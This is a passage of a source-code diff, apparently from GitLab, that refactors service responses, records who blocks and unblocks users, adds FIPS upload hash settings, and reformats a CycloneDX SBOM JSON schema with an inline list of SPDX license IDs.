+ yield ex
+ end
+
+ self
+ end
end
diff --git a/app/services/test_hooks/base_service.rb b/app/services/test_hooks/base_service.rb
index b41a9959c13..3f2949a53ba 100644
--- a/app/services/test_hooks/base_service.rb
+++ b/app/services/test_hooks/base_service.rb
@@ -16,9 +16,16 @@ module TestHooks
trigger_key = hook.class.triggers.key(trigger.to_sym)
return error('Testing not available for this hook') if trigger_key.nil? || data.blank?
+
return error(data[:error]) if data[:error].present?
hook.execute(data, trigger_key, force: true)
+ rescue ArgumentError => e
+ error(e.message)
+ end
+
+ def error(message)
+ ServiceResponse.error(message: message)
end
end
end
diff --git a/app/services/todo_service.rb b/app/services/todo_service.rb
index 9ae31f8ac58..bfd1e55507c 100644
--- a/app/services/todo_service.rb
+++ b/app/services/todo_service.rb
@@ -220,7 +220,7 @@ class TodoService
create_todos(reviewers, attributes, project.namespace, project)
end
- def create_member_access_request(member)
+ def create_member_access_request_todos(member)
source = member.source
attributes = attributes_for_access_request_todos(source, member.user, Todo::MEMBER_ACCESS_REQUESTED)
@@ -433,7 +433,12 @@ class TodoService
note: note
}
- attributes[:group_id] = source.id unless source.instance_of? Project
+ if source.instance_of? Project
+ attributes[:project_id] = source.id
+ attributes[:group_id] = source.group.id if source.group.present?
+ else
+ attributes[:group_id] = source.id
+ end
attributes
end
diff --git a/app/services/users/block_service.rb b/app/services/users/block_service.rb
index 37921c477b4..0715e299e87 100644
--- a/app/services/users/block_service.rb
+++ b/app/services/users/block_service.rb
@@ -20,8 +20,14 @@ module Users
private
+ # overridden by EE module
def after_block_hook(user)
- # overridden by EE module
+ custom_attribute = {
+ user_id: user.id,
+ key: UserCustomAttribute::BLOCKED_BY,
+ value: "#{current_user.username}/#{current_user.id}+#{Time.current}"
+ }
+ UserCustomAttribute.upsert_custom_attributes([custom_attribute])
end
end
end
diff --git a/app/services/users/signup_service.rb b/app/services/users/signup_service.rb
index 1087ae76216..9eb1e75988c 100644
--- a/app/services/users/signup_service.rb
+++ b/app/services/users/signup_service.rb
@@ -12,9 +12,9 @@ module Users
inject_validators
if @user.save
- success
+ ServiceResponse.success
else
- error(@user.errors.full_messages.join('. '))
+ ServiceResponse.error(message: @user.errors.full_messages.join('. '))
end
end
diff --git a/app/services/users/unblock_service.rb b/app/services/users/unblock_service.rb
new file mode 100644
index 00000000000..1302395662f
--- /dev/null
+++ b/app/services/users/unblock_service.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+module Users
+ class UnblockService < BaseService
+ def initialize(current_user)
+ @current_user = current_user
+ end
+
+ def execute(user)
+ if user.activate
+ after_unblock_hook(user)
+ ServiceResponse.success(payload: { user: user })
+ else
+ ServiceResponse.error(message: user.errors.full_messages)
+ end
+ end
+
+ private
+
+ def after_unblock_hook(user)
+ custom_attribute = {
+ user_id: user.id,
+ key: UserCustomAttribute::UNBLOCKED_BY,
+ value: "#{current_user.username}/#{current_user.id}+#{Time.current}"
+ }
+ UserCustomAttribute.upsert_custom_attributes([custom_attribute])
+ end
+ end
+end
diff --git a/app/services/work_items/parent_links/create_service.rb b/app/services/work_items/parent_links/create_service.rb
index e7906f1fcdd..288ca152f93 100644
--- a/app/services/work_items/parent_links/create_service.rb
+++ b/app/services/work_items/parent_links/create_service.rb
@@ -46,7 +46,7 @@ module WorkItems
end
def target_issuable_type
- issuable.issue_type == 'issue' ? 'task' : issuable.issue_type
+ 'work item'
end
def issuables_not_found_message
diff --git a/app/uploaders/object_storage.rb b/app/uploaders/object_storage.rb
index e74998ce4a8..1b47400d5e8 100644
--- a/app/uploaders/object_storage.rb
+++ b/app/uploaders/object_storage.rb
@@ -139,6 +139,7 @@ module ObjectStorage
hash[:TempPath] = workhorse_local_upload_path
end
+ hash[:UploadHashFunctions] = %w[sha1 sha256 sha512] if ::Gitlab::FIPS.enabled?
hash[:MaximumSize] = maximum_size if maximum_size.present?
end
end
diff --git a/app/validators/json_schemas/cyclonedx_report.json b/app/validators/json_schemas/cyclonedx_report.json
index 65c3c3c0cb9..7b24c05a039 100644
--- a/app/validators/json_schemas/cyclonedx_report.json
+++ b/app/validators/json_schemas/cyclonedx_report.json
@@ -3,7 +3,7 @@
"$id": "http://cyclonedx.org/schema/bom-1.4.schema.json",
"type": "object",
"title": "CycloneDX Software Bill of Materials Standard",
- "$comment" : "CycloneDX JSON schema is published under the terms of the Apache License 2.0.",
+ "$comment": "CycloneDX JSON schema is published under the terms of the Apache License 2.0.",
"required": [
"bomFormat",
"specVersion",
@@ -29,13 +29,17 @@
"type": "string",
"title": "CycloneDX Specification Version",
"description": "The version of the CycloneDX specification a BOM conforms to (starting at version 1.2).",
- "examples": ["1.4"]
+ "examples": [
+ "1.4"
+ ]
},
"serialNumber": {
"type": "string",
"title": "BOM Serial Number",
"description": "Every BOM generated SHOULD have a unique serial number, even if the contents of the BOM have not changed over time. If specified, the serial number MUST conform to RFC-4122. Use of serial numbers are RECOMMENDED.",
- "examples": ["urn:uuid:3e671687-395b-41f5-a30f-a58921a69b79"],
+ "examples": [
+ "urn:uuid:3e671687-395b-41f5-a30f-a58921a69b79"
+ ],
"pattern": "^urn:uuid:[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$"
},
"version": {
@@ -43,7 +47,9 @@
"title": "BOM Version",
"description": "Whenever an existing BOM is modified, either manually or through automated processes, the version of the BOM SHOULD be incremented by 1. When a system is presented with multiple BOMs with identical serial numbers, the system SHOULD use the most recent version of the BOM. The default version is '1'.",
"default": 1,
- "examples": [1]
+ "examples": [
+ 1
+ ]
},
"metadata": {
"$ref": "#/definitions/metadata",
@@ -53,7 +59,9 @@
"components": {
"type": "array",
"additionalItems": false,
- "items": {"$ref": "#/definitions/component"},
+ "items": {
+ "$ref": "#/definitions/component"
+ },
"uniqueItems": true,
"title": "Components",
"description": "A list of software and hardware components."
@@ -61,7 +69,9 @@
"services": {
"type": "array",
"additionalItems": false,
- "items": {"$ref": "#/definitions/service"},
+ "items": {
+ "$ref": "#/definitions/service"
+ },
"uniqueItems": true,
"title": "Services",
"description": "A list of services. This may include microservices, function-as-a-service, and other types of network or intra-process services."
@@ -69,14 +79,18 @@
"externalReferences": {
"type": "array",
"additionalItems": false,
- "items": {"$ref": "#/definitions/externalReference"},
+ "items": {
+ "$ref": "#/definitions/externalReference"
+ },
"title": "External References",
"description": "External references provide a way to document systems, sites, and information that may be relevant but which are not included with the BOM."
},
"dependencies": {
"type": "array",
"additionalItems": false,
- "items": {"$ref": "#/definitions/dependency"},
+ "items": {
+ "$ref": "#/definitions/dependency"
+ },
"uniqueItems": true,
"title": "Dependencies",
"description": "Provides the ability to document dependency relationships."
@@ -84,7 +98,9 @@
"compositions": {
"type": "array",
"additionalItems": false,
- "items": {"$ref": "#/definitions/compositions"},
+ "items": {
+ "$ref": "#/definitions/compositions"
+ },
"uniqueItems": true,
"title": "Compositions",
"description": "Compositions describe constituent parts (including components, services, and dependency relationships) and their completeness."
@@ -92,7 +108,9 @@
"vulnerabilities": {
"type": "array",
"additionalItems": false,
- "items": {"$ref": "#/definitions/vulnerability"},
+ "items": {
+ "$ref": "#/definitions/vulnerability"
+ },
"uniqueItems": true,
"title": "Vulnerabilities",
"description": "Vulnerabilities identified in components or services."
@@ -124,14 +142,18 @@
"title": "Creation Tools",
"description": "The tool(s) used in the creation of the BOM.",
"additionalItems": false,
- "items": {"$ref": "#/definitions/tool"}
+ "items": {
+ "$ref": "#/definitions/tool"
+ }
},
- "authors" :{
+ "authors": {
"type": "array",
"title": "Authors",
"description": "The person(s) who created the BOM. Authors are common in BOMs created through manual processes. BOMs created through automated means may not have authors.",
"additionalItems": false,
- "items": {"$ref": "#/definitions/organizationalContact"}
+ "items": {
+ "$ref": "#/definitions/organizationalContact"
+ }
},
"component": {
"title": "Component",
@@ -152,14 +174,18 @@
"type": "array",
"title": "BOM License(s)",
"additionalItems": false,
- "items": {"$ref": "#/definitions/licenseChoice"}
+ "items": {
+ "$ref": "#/definitions/licenseChoice"
+ }
},
"properties": {
"type": "array",
"title": "Properties",
"description": "Provides the ability to document properties in a name-value store. This provides flexibility to include data not officially supported in the standard without having to use additional namespaces or create extensions. Unlike key-value stores, properties support duplicate names, each potentially having different values. Property names of interest to the general public are encouraged to be registered in the [CycloneDX Property Taxonomy](https://github.com/CycloneDX/cyclonedx-property-taxonomy). Formal registration is OPTIONAL.",
"additionalItems": false,
- "items": {"$ref": "#/definitions/property"}
+ "items": {
+ "$ref": "#/definitions/property"
+ }
}
}
},
@@ -187,14 +213,18 @@
"hashes": {
"type": "array",
"additionalItems": false,
- "items": {"$ref": "#/definitions/hash"},
+ "items": {
+ "$ref": "#/definitions/hash"
+ },
"title": "Hashes",
"description": "The hashes of the tool (if applicable)."
},
"externalReferences": {
"type": "array",
"additionalItems": false,
- "items": {"$ref": "#/definitions/externalReference"},
+ "items": {
+ "$ref": "#/definitions/externalReference"
+ },
"title": "External References",
"description": "External references provide a way to document systems, sites, and information that may be relevant but which are not included with the BOM."
}
@@ -222,14 +252,18 @@
},
"title": "URL",
"description": "The URL of the organization. Multiple URLs are allowed.",
- "examples": ["https://example.com"]
+ "examples": [
+ "https://example.com"
+ ]
},
"contact": {
"type": "array",
"title": "Contact",
"description": "A contact at the organization. Multiple contacts are allowed.",
"additionalItems": false,
- "items": {"$ref": "#/definitions/organizationalContact"}
+ "items": {
+ "$ref": "#/definitions/organizationalContact"
+ }
}
}
},
@@ -243,20 +277,26 @@
"type": "string",
"title": "Name",
"description": "The name of a contact",
- "examples": ["Contact name"]
+ "examples": [
+ "Contact name"
+ ]
},
"email": {
"type": "string",
"format": "idn-email",
"title": "Email Address",
"description": "The email address of the contact.",
- "examples": ["firstname.lastname@example.com"]
+ "examples": [
+ "firstname.lastname@example.com"
+ ]
},
"phone": {
"type": "string",
"title": "Phone",
"description": "The phone number of the contact.",
- "examples": ["800-555-1212"]
+ "examples": [
+ "800-555-1212"
+ ]
}
}
},
@@ -283,13 +323,17 @@
],
"title": "Component Type",
"description": "Specifies the type of component. For software components, classify as application if no more specific appropriate classification is available or cannot be determined for the component. Types include:\n\n* __application__ = A software application. Refer to [https://en.wikipedia.org/wiki/Application_software](https://en.wikipedia.org/wiki/Application_software) for information about applications.\n* __framework__ = A software framework. Refer to [https://en.wikipedia.org/wiki/Software_framework](https://en.wikipedia.org/wiki/Software_framework) for information on how frameworks vary slightly from libraries.\n* __library__ = A software library. Refer to [https://en.wikipedia.org/wiki/Library_(computing)](https://en.wikipedia.org/wiki/Library_(computing))\n for information about libraries. All third-party and open source reusable components will likely be a library. If the library also has key features of a framework, then it should be classified as a framework. If not, or is unknown, then specifying library is RECOMMENDED.\n* __container__ = A packaging and/or runtime format, not specific to any particular technology, which isolates software inside the container from software outside of a container through virtualization technology. Refer to [https://en.wikipedia.org/wiki/OS-level_virtualization](https://en.wikipedia.org/wiki/OS-level_virtualization)\n* __operating-system__ = A software operating system without regard to deployment model (i.e. installed on physical hardware, virtual machine, image, etc) Refer to [https://en.wikipedia.org/wiki/Operating_system](https://en.wikipedia.org/wiki/Operating_system)\n* __device__ = A hardware device such as a processor, or chip-set. A hardware device containing firmware SHOULD include a component for the physical hardware itself, and another component of type 'firmware' or 'operating-system' (whichever is relevant), describing information about the software running on the device.\n* __firmware__ = A special type of software that provides low-level control over a devices hardware. Refer to [https://en.wikipedia.org/wiki/Firmware](https://en.wikipedia.org/wiki/Firmware)\n* __file__ = A computer file. Refer to [https://en.wikipedia.org/wiki/Computer_file](https://en.wikipedia.org/wiki/Computer_file) for information about files.",
- "examples": ["library"]
+ "examples": [
+ "library"
+ ]
},
"mime-type": {
"type": "string",
"title": "Mime-Type",
"description": "The optional mime-type of the component. When used on file components, the mime-type can provide additional context about the kind of file being represented such as an image, font, or executable. Some library or framework components may also have an associated mime-type.",
- "examples": ["image/jpeg"],
+ "examples": [
+ "image/jpeg"
+ ],
"pattern": "^[-+a-z0-9.]+/[-+a-z0-9.]+$"
},
"bom-ref": {
@@ -306,31 +350,41 @@
"type": "string",
"title": "Component Author",
"description": "The person(s) or organization(s) that authored the component",
- "examples": ["Acme Inc"]
+ "examples": [
+ "Acme Inc"
+ ]
},
"publisher": {
"type": "string",
"title": "Component Publisher",
"description": "The person(s) or organization(s) that published the component",
- "examples": ["Acme Inc"]
+ "examples": [
+ "Acme Inc"
+ ]
},
"group": {
"type": "string",
"title": "Component Group",
"description": "The grouping name or identifier. This will often be a shortened, single name of the company or project that produced the component, or the source package or domain name. Whitespace and special characters should be avoided. Examples include: apache, org.apache.commons, and apache.org.",
- "examples": ["com.acme"]
+ "examples": [
+ "com.acme"
+ ]
},
"name": {
"type": "string",
"title": "Component Name",
"description": "The name of the component. This will often be a shortened, single name of the component. Examples: commons-lang3 and jquery",
- "examples": ["tomcat-catalina"]
+ "examples": [
+ "tomcat-catalina"
+ ]
},
"version": {
"type": "string",
"title": "Component Version",
"description": "The component version. The version should ideally comply with semantic versioning but is not enforced.",
- "examples": ["9.0.14"]
+ "examples": [
+ "9.0.14"
+ ]
},
"description": {
"type": "string",
@@ -352,31 +406,41 @@
"type": "array",
"title": "Component Hashes",
"additionalItems": false,
- "items": {"$ref": "#/definitions/hash"}
+ "items": {
+ "$ref": "#/definitions/hash"
+ }
},
"licenses": {
"type": "array",
"additionalItems": false,
- "items": {"$ref": "#/definitions/licenseChoice"},
+ "items": {
+ "$ref": "#/definitions/licenseChoice"
+ },
"title": "Component License(s)"
},
"copyright": {
"type": "string",
"title": "Component Copyright",
"description": "A copyright notice informing users of the underlying claims to copyright ownership in a published work.",
- "examples": ["Acme Inc"]
+ "examples": [
+ "Acme Inc"
+ ]
},
"cpe": {
"type": "string",
"title": "Component Common Platform Enumeration (CPE)",
"description": "Specifies a well-formed CPE name that conforms to the CPE 2.2 or 2.3 specification. See [https://nvd.nist.gov/products/cpe](https://nvd.nist.gov/products/cpe)",
- "examples": ["cpe:2.3:a:acme:component_framework:-:*:*:*:*:*:*:*"]
+ "examples": [
+ "cpe:2.3:a:acme:component_framework:-:*:*:*:*:*:*:*"
+ ]
},
"purl": {
"type": "string",
"title": "Component Package URL (purl)",
"description": "Specifies the package-url (purl). The purl, if specified, MUST be valid and conform to the specification defined at: [https://github.com/package-url/purl-spec](https://github.com/package-url/purl-spec)",
- "examples": ["pkg:maven/com.acme/tomcat-catalina@9.0.14?packaging=jar"]
+ "examples": [
+ "pkg:maven/com.acme/tomcat-catalina@9.0.14?packaging=jar"
+ ]
},
"swid": {
"$ref": "#/definitions/swid",
@@ -399,35 +463,45 @@
"title": "Ancestors",
"description": "Describes zero or more components in which a component is derived from. This is commonly used to describe forks from existing projects where the forked version contains a ancestor node containing the original component it was forked from. For example, Component A is the original component. Component B is the component being used and documented in the BOM. However, Component B contains a pedigree node with a single ancestor documenting Component A - the original component from which Component B is derived from.",
"additionalItems": false,
- "items": {"$ref": "#/definitions/component"}
+ "items": {
+ "$ref": "#/definitions/component"
+ }
},
"descendants": {
"type": "array",
"title": "Descendants",
"description": "Descendants are the exact opposite of ancestors. This provides a way to document all forks (and their forks) of an original or root component.",
"additionalItems": false,
- "items": {"$ref": "#/definitions/component"}
+ "items": {
+ "$ref": "#/definitions/component"
+ }
},
"variants": {
"type": "array",
"title": "Variants",
"description": "Variants describe relations where the relationship between the components are not known. For example, if Component A contains nearly identical code to Component B. They are both related, but it is unclear if one is derived from the other, or if they share a common ancestor.",
"additionalItems": false,
- "items": {"$ref": "#/definitions/component"}
+ "items": {
+ "$ref": "#/definitions/component"
+ }
},
"commits": {
"type": "array",
"title": "Commits",
"description": "A list of zero or more commits which provide a trail describing how the component deviates from an ancestor, descendant, or variant.",
"additionalItems": false,
- "items": {"$ref": "#/definitions/commit"}
+ "items": {
+ "$ref": "#/definitions/commit"
+ }
},
"patches": {
"type": "array",
"title": "Patches",
"description": ">A list of zero or more patches describing how the component deviates from an ancestor, descendant, or variant. Patches may be complimentary to commits or may be used in place of commits.",
"additionalItems": false,
- "items": {"$ref": "#/definitions/patch"}
+ "items": {
+ "$ref": "#/definitions/patch"
+ }
},
"notes": {
"type": "string",
@@ -439,14 +513,18 @@
"externalReferences": {
"type": "array",
"additionalItems": false,
- "items": {"$ref": "#/definitions/externalReference"},
+ "items": {
+ "$ref": "#/definitions/externalReference"
+ },
"title": "External References",
"description": "External references provide a way to document systems, sites, and information that may be relevant but which are not included with the BOM."
},
"components": {
"type": "array",
"additionalItems": false,
- "items": {"$ref": "#/definitions/component"},
+ "items": {
+ "$ref": "#/definitions/component"
+ },
"uniqueItems": true,
"title": "Components",
"description": "A list of software and hardware components included in the parent component. This is not a dependency tree. It provides a way to specify a hierarchical representation of component assemblies, similar to system &#8594; subsystem &#8594; parts assembly in physical supply chains."
@@ -466,7 +544,9 @@
"title": "Properties",
"description": "Provides the ability to document properties in a name-value store. This provides flexibility to include data not officially supported in the standard without having to use additional namespaces or create extensions. Unlike key-value stores, properties support duplicate names, each potentially having different values. Property names of interest to the general public are encouraged to be registered in the [CycloneDX Property Taxonomy](https://github.com/CycloneDX/cyclonedx-property-taxonomy). Formal registration is OPTIONAL.",
"additionalItems": false,
- "items": {"$ref": "#/definitions/property"}
+ "items": {
+ "$ref": "#/definitions/property"
+ }
},
"signature": {
"$ref": "#/definitions/signature",
@@ -594,7 +674,9 @@
"hash-content": {
"type": "string",
"title": "Hash Content (value)",
- "examples": ["3942447fac867ae5cdb3229b658f4d48"],
+ "examples": [
+ "3942447fac867ae5cdb3229b658f4d48"
+ ],
"pattern": "^([a-fA-F0-9]{32}|[a-fA-F0-9]{40}|[a-fA-F0-9]{64}|[a-fA-F0-9]{96}|[a-fA-F0-9]{128})$"
},
"license": {
@@ -602,25 +684,565 @@
"title": "License Object",
"oneOf": [
{
- "required": ["id"]
+ "required": [
+ "id"
+ ]
},
{
- "required": ["name"]
+ "required": [
+ "name"
+ ]
}
],
"additionalProperties": false,
"properties": {
"id": {
- "$ref": "spdx.schema.json",
"title": "License ID (SPDX)",
"description": "A valid SPDX license ID",
- "examples": ["Apache-2.0"]
+ "examples": [
+ "Apache-2.0"
+ ],
+ "type": "string",
+ "enum": [
+ "CC-BY-NC-ND-2.0",
+ "SGI-B-2.0",
+ "LPPL-1.3c",
+ "NIST-PD-fallback",
+ "libtiff",
+ "XSkat",
+ "PDDL-1.0",
+ "KiCad-libraries-exception",
+ "CC-BY-NC-SA-1.0",
+ "GFDL-1.1-no-invariants-only",
+ "Xerox",
+ "LPPL-1.1",
+ "VOSTROM",
+ "UCL-1.0",
+ "ADSL",
+ "OSL-2.0",
+ "AAL",
+ "FDK-AAC",
+ "W3C-20150513",
+ "AFL-1.1",
+ "W3C",
+ "Sleepycat",
+ "CECILL-1.1",
+ "mpich2",
+ "SISSL",
+ "NLOD-1.0",
+ "ANTLR-PD",
+ "GPL-3.0-only",
+ "gnuplot",
+ "NLOD-2.0",
+ "BSD-3-Clause-Open-MPI",
+ "LiLiQ-P-1.1",
+ "BSD-3-Clause-Clear",
+ "FSFUL",
+ "CC-BY-NC-SA-2.0-UK",
+ "CERN-OHL-S-2.0",
+ "Spencer-94",
+ "CERN-OHL-1.2",
+ "GFDL-1.1-or-later",
+ "AGPL-1.0-or-later",
+ "Wsuipa",
+ "AML",
+ "BSD-2-Clause",
+ "DSDP",
+ "CC-BY-2.5",
+ "MIT-CMU",
+ "Beerware",
+ "Sendmail",
+ "TU-Berlin-1.0",
+ "CNRI-Jython",
+ "mplus",
+ "CPOL-1.02",
+ "BSD-3-Clause-No-Nuclear-License-2014",
+ "ISC",
+ "CC-BY-SA-4.0",
+ "Eurosym",
+ "LGPL-3.0-only",
+ "OLDAP-1.3",
+ "GFDL-1.1-invariants-or-later",
+ "Glulxe",
+ "SimPL-2.0",
+ "CDLA-Permissive-2.0",
+ "GPL-2.0-with-font-exception",
+ "OGL-UK-2.0",
+ "CC-BY-SA-3.0-DE",
+ "CC-BY-ND-1.0",
+ "GFDL-1.1",
+ "CC-BY-4.0",
+ "OpenSSL",
+ "TU-Berlin-2.0",
+ "DOC",
+ "GFDL-1.2-no-invariants-or-later",
+ "QPL-1.0",
+ "OLDAP-2.8",
+ "OML",
+ "OLDAP-2.7",
+ "NIST-PD",
+ "Bitstream-Vera",
+ "GFDL-1.2-or-later",
+ "OFL-1.1-RFN",
+ "Bahyph",
+ "Barr",
+ "COIL-1.0",
+ "GFDL-1.3",
+ "CECILL-B",
+ "JPNIC",
+ "Zed",
+ "ICU",
+ "CC-BY-NC-SA-2.5",
+ "CC-BY-ND-3.0-DE",
+ "bzip2-1.0.5",
+ "SPL-1.0",
+ "YPL-1.0",
+ "OSET-PL-2.1",
+ "Noweb",
+ "RPSL-1.0",
+ "BSD-3-Clause-LBNL",
+ "CDLA-Sharing-1.0",
+ "CECILL-1.0",
+ "AMPAS",
+ "APAFML",
+ "CC-BY-ND-3.0",
+ "D-FSL-1.0",
+ "CC-BY-NC-3.0",
+ "libpng-2.0",
+ "PolyForm-Noncommercial-1.0.0",
+ "dvipdfm",
+ "GFDL-1.3-or-later",
+ "OGTSL",
+ "NPL-1.1",
+ "GPL-3.0",
+ "CERN-OHL-P-2.0",
+ "BlueOak-1.0.0",
+ "AGPL-3.0-or-later",
+ "blessing",
+ "ImageMagick",
+ "APSL-2.0",
+ "MIT-advertising",
+ "curl",
+ "CC0-1.0",
+ "Zimbra-1.4",
+ "SSPL-1.0",
+ "psutils",
+ "CC-BY-SA-2.0-UK",
+ "PSF-2.0",
+ "Net-SNMP",
+ "NAIST-2003",
+ "GFDL-1.2-invariants-or-later",
+ "SGI-B-1.0",
+ "NBPL-1.0",
+ "GFDL-1.2-invariants-only",
+ "W3C-19980720",
+ "OFL-1.0-no-RFN",
+ "NetCDF",
+ "TMate",
+ "NOSL",
+ "CNRI-Python-GPL-Compatible",
+ "BSD-1-Clause",
+ "CC-BY-NC-SA-3.0-DE",
+ "BSD-3-Clause-Modification",
+ "GLWTPL",
+ "GFDL-1.3-only",
+ "OLDAP-2.2",
+ "CC-BY-ND-4.0",
+ "CC-BY-NC-ND-3.0-DE",
+ "EUPL-1.0",
+ "Linux-OpenIB",
+ "LGPL-2.0-or-later",
+ "OSL-1.1",
+ "Spencer-86",
+ "LGPL-2.0",
+ "CC-PDDC",
+ "CC-BY-NC-ND-3.0",
+ "CDL-1.0",
+ "Elastic-2.0",
+ "CC-BY-2.0",
+ "BSD-3-Clause-No-Military-License",
+ "IJG",
+ "LPPL-1.3a",
+ "SAX-PD",
+ "BitTorrent-1.0",
+ "OLDAP-2.0",
+ "Giftware",
+ "C-UDA-1.0",
+ "LGPL-2.0+",
+ "Rdisc",
+ "GPL-2.0-with-classpath-exception",
+ "CC-BY-3.0-US",
+ "CDDL-1.0",
+ "Xnet",
+ "CPL-1.0",
+ "LGPL-3.0-or-later",
+ "NASA-1.3",
+ "BUSL-1.1",
+ "etalab-2.0",
+ "MIT-open-group",
+ "OLDAP-1.4",
+ "GFDL-1.1-invariants-only",
+ "RPL-1.1",
+ "CC-BY-NC-ND-2.5",
+ "FSFULLR",
+ "Saxpath",
+ "NTP-0",
+ "SISSL-1.2",
+ "GPL-3.0-or-later",
+ "Apache-1.1",
+ "CC-BY-SA-2.1-JP",
+ "AGPL-3.0-only",
+ "GPL-2.0-with-autoconf-exception",
+ "Artistic-2.0",
+ "App-s2p",
+ "Unicode-DFS-2015",
+ "diffmark",
+ "SNIA",
+ "CC-BY-SA-2.5",
+ "Linux-man-pages-copyleft",
+ "HPND-sell-variant",
+ "ZPL-2.1",
+ "BSD-4-Clause-UC",
+ "LAL-1.2",
+ "AGPL-1.0-only",
+ "MIT-enna",
+ "Condor-1.1",
+ "Naumen",
+ "GFDL-1.3-no-invariants-or-later",
+ "RPL-1.5",
+ "PolyForm-Small-Business-1.0.0",
+ "EFL-1.0",
+ "MirOS",
+ "CC-BY-2.5-AU",
+ "Afmparse",
+ "MPL-2.0-no-copyleft-exception",
+ "LiLiQ-Rplus-1.1",
+ "AFL-1.2",
+ "OSL-1.0",
+ "GPL-1.0-only",
+ "APSL-1.0",
+ "OGL-Canada-2.0",
+ "CPAL-1.0",
+ "Latex2e",
+ "Zend-2.0",
+ "Unlicense",
+ "xpp",
+ "CC-BY-NC-1.0",
+ "GPL-3.0-with-autoconf-exception",
+ "CC-BY-NC-SA-3.0",
+ "TCP-wrappers",
+ "SCEA",
+ "SSH-short",
+ "CC-BY-3.0-NL",
+ "SchemeReport",
+ "CC-BY-3.0",
+ "MPL-2.0",
+ "Unicode-TOU",
+ "CC-BY-NC-ND-1.0",
+ "Entessa",
+ "BSD-3-Clause-No-Nuclear-License",
+ "SWL",
+ "GFDL-1.2-no-invariants-only",
+ "Parity-7.0.0",
+ "OLDAP-2.2.1",
+ "SGI-B-1.1",
+ "FTL",
+ "OLDAP-2.4",
+ "CC-BY-NC-4.0",
+ "bzip2-1.0.6",
+ "copyleft-next-0.3.0",
+ "MakeIndex",
+ "NRL",
+ "GFDL-1.3-invariants-or-later",
+ "CC-BY-NC-2.0",
+ "SugarCRM-1.1.3",
+ "AFL-2.1",
+ "GPL-2.0-only",
+ "GFDL-1.3-invariants-only",
+ "TORQUE-1.1",
+ "Ruby",
+ "X11",
+ "Borceux",
+ "Libpng",
+ "X11-distribute-modifications-variant",
+ "Frameworx-1.0",
+ "NCGL-UK-2.0",
+ "CECILL-2.1",
+ "CC-BY-3.0-AT",
+ "CNRI-Python",
+ "NCSA",
+ "gSOAP-1.3b",
+ "EUPL-1.1",
+ "AMDPLPA",
+ "Imlib2",
+ "CDDL-1.1",
+ "WTFPL",
+ "LPL-1.0",
+ "EPL-1.0",
+ "BSD-3-Clause-Attribution",
+ "OSL-3.0",
+ "RHeCos-1.1",
+ "PHP-3.0",
+ "BSD-Protection",
+ "CC-BY-NC-3.0-DE",
+ "APL-1.0",
+ "EUDatagrid",
+ "GPL-1.0",
+ "SHL-0.5",
+ "CC-BY-SA-2.0",
+ "CC-BY-SA-3.0-AT",
+ "CC-BY-NC-SA-3.0-IGO",
+ "Adobe-2006",
+ "Newsletr",
+ "Nunit",
+ "Multics",
+ "OGL-UK-1.0",
+ "Vim",
+ "eCos-2.0",
+ "Zimbra-1.3",
+ "eGenix",
+ "IBM-pibs",
+ "BitTorrent-1.1",
+ "OFL-1.1-no-RFN",
+ "psfrag",
+ "CC-BY-ND-2.0",
+ "SHL-0.51",
+ "FreeBSD-DOC",
+ "Python-2.0",
+ "Mup",
+ "BSD-4-Clause-Shortened",
+ "CC-BY-NC-SA-4.0",
+ "HPND",
+ "OLDAP-2.6",
+ "MPL-1.1",
+ "GPL-2.0-with-GCC-exception",
+ "HaskellReport",
+ "ECL-1.0",
+ "LGPL-2.1-or-later",
+ "OFL-1.0",
+ "APSL-1.1",
+ "MITNFA",
+ "CECILL-2.0",
+ "Crossword",
+ "Aladdin",
+ "Baekmuk",
+ "XFree86-1.1",
+ "GPL-1.0-or-later",
+ "CERN-OHL-W-2.0",
+ "CC-BY-SA-1.0",
+ "NTP",
+ "PHP-3.01",
+ "OCLC-2.0",
+ "CC-BY-3.0-DE",
+ "CC-BY-NC-2.5",
+ "Zlib",
+ "CATOSL-1.1",
+ "LGPL-3.0+",
+ "CAL-1.0",
+ "NPL-1.0",
+ "SMLNJ",
+ "GPL-2.0+",
+ "OLDAP-2.5",
+ "JasPer-2.0",
+ "GPL-2.0-or-later",
+ "BSD-2-Clause-Patent",
+ "MS-RL",
+ "CUA-OPL-1.0",
+ "IPA",
+ "NLPL",
+ "O-UDA-1.0",
+ "MIT-Modern-Variant",
+ "OLDAP-1.2",
+ "BSD-2-Clause-FreeBSD",
+ "Info-ZIP",
+ "CC-BY-NC-SA-2.0-FR",
+ "0BSD",
+ "Unicode-DFS-2016",
+ "OFL-1.0-RFN",
+ "Intel",
+ "AFL-2.0",
+ "GL2PS",
+ "TAPR-OHL-1.0",
+ "Apache-1.0",
+ "MTLL",
+ "Motosoto",
+ "RSA-MD",
+ "Community-Spec-1.0",
+ "ODC-By-1.0",
+ "zlib-acknowledgement",
+ "DL-DE-BY-2.0",
+ "VSL-1.0",
+ "LiLiQ-R-1.1",
+ "OPL-1.0",
+ "GPL-3.0+",
+ "MulanPSL-2.0",
+ "APSL-1.2",
+ "OGDL-Taiwan-1.0",
+ "RSCPL",
+ "OGC-1.0",
+ "EFL-2.0",
+ "CAL-1.0-Combined-Work-Exception",
+ "MS-PL",
+ "Plexus",
+ "Sendmail-8.23",
+ "Cube",
+ "JSON",
+ "EUPL-1.2",
+ "Adobe-Glyph",
+ "FreeImage",
+ "Watcom-1.0",
+ "Jam",
+ "Hippocratic-2.1",
+ "OLDAP-2.0.1",
+ "CC-BY-NC-SA-2.0",
+ "Nokia",
+ "OCCT-PL",
+ "ErlPL-1.1",
+ "TOSL",
+ "OSL-2.1",
+ "ClArtistic",
+ "xinetd",
+ "GPL-3.0-with-GCC-exception",
+ "ODbL-1.0",
+ "MIT",
+ "LGPL-2.1+",
+ "LGPL-2.1-only",
+ "CrystalStacker",
+ "ECL-2.0",
+ "LPPL-1.0",
+ "iMatix",
+ "CC-BY-NC-ND-3.0-IGO",
+ "BSD-Source-Code",
+ "Parity-6.0.0",
+ "TCL",
+ "Arphic-1999",
+ "CC-BY-SA-3.0",
+ "Caldera",
+ "AGPL-1.0",
+ "IPL-1.0",
+ "LAL-1.3",
+ "EPICS",
+ "NGPL",
+ "DRL-1.0",
+ "BSD-2-Clause-NetBSD",
+ "ZPL-1.1",
+ "GD",
+ "LPPL-1.2",
+ "Dotseqn",
+ "Spencer-99",
+ "OLDAP-2.3",
+ "YPL-1.1",
+ "Fair",
+ "Qhull",
+ "GFDL-1.1-no-invariants-or-later",
+ "CECILL-C",
